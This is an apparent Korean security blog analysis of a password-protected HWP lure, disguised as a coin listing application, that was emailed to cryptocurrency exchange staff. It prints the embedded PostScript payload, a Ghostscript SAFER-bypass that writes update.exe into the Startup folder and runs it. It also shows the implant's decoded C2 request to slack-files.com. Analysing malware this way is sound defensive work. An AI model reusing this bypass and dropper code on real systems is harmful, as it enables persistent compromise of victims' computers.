본문 바로가기

security/악성코드 유포

[악성코드 유포] 코인(토큰) 상장 문의 메일을 통한 한글 악성코드 유포 분석

1. 개요

최근 APT(Advanced Persistent Threat) 공격이 증가하고 있는 추세입니다. 최근에는 코인 거래소가 활성화되고, 돈이 되면서 거래소의 관계자를 노리기 위한 공격이 주를 이루고 있습니다. 이번에 분석하게 된 파일은 코인 상장 신청서를 통해 주요 코인거래소에 유포된 것으로 확인된 한글 파일을 간단하게 분석하였습니다. “해당 메일은 코인원 계정에 발송된 것으로 확인되었습니다.

 

2. 최초 이메일 발송 정보

<참고: https://twitter.com/0xD0CF11E0A1B11/status/1191519388865708032>

 

 

2. 파일 정보

파일명

[WhitePaper+소개]신규코인_상장_신청서2.hwp

MD5

95fe089b63c095bfb2b25e8c6914d19d

한글 파일 제목

EXRAYA 백서

파일 생성 날짜

2019년 11월 3일 일요일 오후 4:21:45

비밀번호

12345

 

 

3. 세부 분석 정보 한글 파일

우선 한글 파일을 유포할 시에 암호가 걸려 있는 모습을 확인할 수 있습니다. 암호를 입력한 이유는 악성코드 장비 탐지를 우회하기 위해서 암호를 설정해 놓은 것으로 판단됩니다. 통상적으로 암호가 걸려있으면, 보안 장비에서는 내부에 코드를 읽어 올 수가 없기 때문에 악성인지를 판단하지 못하게 됩니다. 이를 공격자는 활용한 것으로 판단됩니다.

[그림 1. [WhitePaper+소개]신규코인_상장_신청서 한글 파일 실행 시 암호 입력란]

 

한글 파일 암호는 메일 본문에도 나와 있듯이 “12345”가 되겠습니다. 한글 파일을 실행할 경우 첫 페이지는 EXRAYA 백서라는 내용이 나오게 됩니다.

[그림 2. [WhitePaper+소개]신규코인_상장_신청서 한글 파일 실행 시에 등장하는 첫페이지]

 

한글 파일은 모두 글이 아닌 그림으로 31페이지까지 삽입되어 있습니다. 정말 진짜 같이 삽입이 되어 있어서 정상적인 파일로 오해를 할 수 있습니다. 하지만, 이는 공격자가 속이기 위한 방법일 뿐입니다.

이를 위해 삽입되어 있는 그림을 살펴보겠습니다. 페이지는 31페이지 그림은 페이지당 1개입니다. 하지만, 문서 정보를 살펴보면 그림은 32개가 삽입된 것을 확인할 수 있습니다.

[그림 3. 한글 파일에 포함되어 있는 그림 정보]

 

그렇다면 그림 하나가 문서 내에 하나 더 있다는 것이며, 해당 그림을 찾는다면 진짜 이 파일이 악성인지, 정상인지 확인할 수 있습니다. 따라서, 한글 문서를 전반적으로 다시 살펴보겠습니다.

그림 정보를 다시 살펴보면 1페이지에 그림 2개가 삽입되어 있는 것을 확인할 수 있습니다.

[그림 4. 한글 파일에 포함되어 있는 그림 정보]

 

그렇다면 삽입되어 있는 그림은 어디에 있는지 찾아봐야 합니다. 일반적으로 공격자는 그림을 사람이 보지 못하는 크기로 줄여 놓았을 가능성이 높습니다. 하지만, 일반인이 이것을 봤을 때는 찾기가 어렵습니다. 아래 사진은 한글파일의 그림 영역 삽입된 것에 대한 확대 전후 비교입니다.

[그림 5. 그림영역이 포함되어 있는 한글 파일 영역 비교 확대 전(왼쪽), 확대 후(오른쪽)]

 공격자는 최소 그림 픽셀을 통해 수상한 그림을 1페이지에 삽입해 놓았습니다. 본격적으로 그림영역을 살펴보겠습니다. 일단 한글 파일 실행 시 그림파일이 저장된 폴더를 들어가면 JPG 외에 PS라는 파일이 보입니다.

[그림 6. 한글파일 실행 시 그림파일이 저장된 폴더 내에 파일]

 

폴더 내용을 살펴보면, 그림파일 외에 .ps라는 파일이 존재합니다. 이는 공격자가 악의적인 목적으로 파일을 실행하기 위해 한글 취약점을 활용하여 데이터를 삽입하였습니다. ps 파일은 2MB 정도 되고 그림파일 치고는 크다고 볼 수 있습니다. 내부 파일을 살펴보면, 스크립트 형태로 되어 있는 모습을 살펴볼 수 있습니다.

[그림 7. .ps 파일 내에 스크립트 값]

 

4D5A의 형태는 EXE 실행파일의 형태라고 할 수 있으며, 이는 buf0 영역에 삽입되어 있는 상태입니다. 이것만 있는다고 해서 파일이 실행되는 게 아닙니다. 각 buf에 저장되어 있는 값이 최종적으로 file0에 합쳐지면서 하나의 파일이 완성되는 형태라고 할 수 있습니다. 이후 파일은 환경 설정에 정의되어 있는 \AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 폴더에 update.exe 파일 명으로 저장됩니다.

/1Policy { SETPDDEBUG { (Rolling back.) = pstack flush } if 3 index 2 index 3 -1 roll .X55 4 index 1 index .knownget { 4 index 3 1 roll .X55 } { 3 index exch .undef } ifelse } bind executeonly odef /.X55 { <<>> <<>> 4 index (ignored) 5 index 5 index .policyprocs 1 get exec pop pop pop pop pop pop pop } def systemdict /SAFER false .X55 systemdict /userparams get /PermitFileControl [(*)] .X55 systemdict /userparams get /PermitFileWriting [(*)] .X55 systemdict /userparams get /PermitFileReading [(*)] .X55

/popmenuw{

           exch dup 3 pop length 3 pop 2 index 5 pop length add string dup dup 4 2 pop 3 pop 2 roll 2 pop 3 pop copy

           2 pop 3 pop length 2 pop 3 pop 4 -1 roll putinterval

}bind def

(appdata) getenv pop /envstr exch def

envstr(\\Microsoft\\Windows\\Start ) popmenuw/patho exch def

patho(Menu\\Programs\\StartUp\\update.exe) popmenuw/path4 exch def // 파일 저장

{ currentfile buf readhexstring pop }

 

path4 (w) file /file0 exch def

file0 buf0 writestring

file0 closefile

 

path4 (a) file /file0 exch def

file0 buf1 writestring

file0 closefile

[중략]

path4 (a) file /file0 exch def

file0 buf65 writestring

file0 closefile

 

(%pipe%)path4 popmenuw/pathzz exch def

 

a0

{ null restore } stopped { pop } if

(ppmraw) selectdevice

legal

mark /OutputFile pathzz currentdevice putdeviceprops

{ showpage } stopped pop

quit

 

4. 세부분석 정보 – 파일

한글 파일을 통해 생성된 정보는 아래와 같습니다. 생성된 파일은 slack-files.com을 통해 C2 연결을 합니다. Slack를 활용하는 것은 CDN 서버의 장점을 통해 중단 없이 계속해서 파일을 받을 수 있기 때문으로 판단되며, 추가 다운로드는 진행되지 않고 있는 상태입니다.

[그림 8. update.exe 파일이 저장되어 있는 폴더]

 

[그림 9. 생성된 update.exe에 대한 파일 정보]

 

[그림 10. slack-file.com을 연결하기 위한 코드 일부분]

 

공격자는 중복 실행을 방지하기 위해 mutex라는 함수를 설정해 놓았습니다.

Mutex : RuntimeBroker

[그림 11. 중복 실행 방지를 위한 createmutex 부분]

 

Slack 접속 시에 URI 복호화 부분 (Stack address=0040C918, (ASCII "GET /TPCBPBQD8-FPQRX8SBD-0c03d3b809 HTTP/1.0 Host: slack-files.com User-Agent: Google Connection: close)

[그림 12. slack-files.com을 접속하기 위한 헤더 및 복호화 부분]

 

[그림 13. Slack-files.com이랑 통신하는 모습]